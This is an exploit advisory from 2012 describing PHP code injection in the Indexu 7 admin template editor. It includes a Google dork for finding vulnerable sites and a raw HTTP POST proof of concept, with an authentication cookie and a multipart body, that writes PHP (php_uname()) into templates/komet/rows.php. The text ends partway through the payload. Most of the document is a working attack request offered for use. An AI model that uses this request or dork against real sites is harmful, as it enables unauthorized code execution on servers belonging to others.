# --------------------------------------- #
Author : L3b-r1'z
Title : Indexu 7 Php Code Injection
Date : 5/30/2012
Email : L3br1z@Gmail.com
Site : Sec4Ever.com & Exploit4arab.com
Google Dork : allintext: "Listing by GooglePR"
Version : N\A
# --------------------------------------- #
1) Bug
2) PoC
# --------------------------------------- #
2) Bug :
The script allow admin to edit file in templates fol. as extention PHP :)
so an attacker can inject some code in any file (EDITED) .
NOTE :
Before you inject code , you should know if the themes is there
(./templates/KOMET).
As : http://www.site.com/templates/komet/rows.php
# --------------------------------------- #
3) PoC :
In POST b0x Above Of Live Http Header Put : http://www.site.com/admin/db.php
Host: site.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://site.com/admin/template.php?act=editfile&id=komet&file=rows.php
Cookie: U_AUTHENTICATED=1; __atuvc=7|22;
PHPSESSID=6c8ee4251b4d5e252d0030dccdc389a8;
__utma=111872281.551771833.1338331592.1338331592.1338331592.1;
__utmc=111872281;
__utmz=111872281.1338331592.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Content-Type: multipart/form-data;
boundary=---------------------------11662147216064
Content-Length: 1157
Send POST Content :
-----------------------------11662147216064\r\n
Content-Disposition: form-data; name="act"\r\n
\r\n
editfile\r\n
-----------------------------11662147216064\r\n
Content-Disposition: form-data; name="id"\r\n
\r\n
komet\r\n
-----------------------------11662147216064\r\n
Content-Disposition: form-data; name="file"\r\n
\r\n
rows.php\r\n
-----------------------------11662147216064\r\n
Content-Disposition: form-data; name="file_content"\r\n
\r\n
'.php_uname().'
';\r\n
echo '